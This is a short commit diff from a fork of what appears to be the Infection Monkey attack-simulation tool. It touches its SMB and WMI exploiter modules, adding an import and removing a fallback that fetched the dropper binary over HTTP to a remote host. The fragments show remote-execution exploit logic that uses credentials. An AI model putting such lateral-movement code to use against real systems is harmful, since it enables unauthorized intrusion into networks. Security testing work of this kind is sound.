forked from p34709852/monkey
minor bug fixes
This commit is contained in:
parent
35859c1a21
commit
760d267459
|
@ -16,6 +16,7 @@ from model import DROPPER_CMDLINE, MONKEY_CMDLINE
|
|||
from exploit import HostExploiter
|
||||
from exploit.tools import SmbTools, get_target_monkey
|
||||
from network.tools import check_port_tcp
|
||||
from network import SMBFinger
|
||||
|
||||
try:
|
||||
from impacket import smb
|
||||
|
|
|
@ -74,14 +74,10 @@ class WmiExploiter(HostExploiter):
|
|||
password,
|
||||
src_path,
|
||||
self._config.dropper_target_path)
|
||||
remote_full_path = False
|
||||
|
||||
if not remote_full_path:
|
||||
remote_full_path = self._config.dropper_target_path
|
||||
http_path = HTTPTools.create_transfer(host,
|
||||
src_path,
|
||||
remote_full_path)
|
||||
cmdline = MONKEY_CMDLINE_HTTP % {'http_path': http_path, 'monkey_path': remote_full_path}
|
||||
wmi_connection.close()
|
||||
return False
|
||||
# execute the remote dropper in case the path isn't final
|
||||
elif remote_full_path.lower() != self._config.dropper_target_path.lower():
|
||||
cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path}
|
||||
|
|
Loading…
Reference in New Issue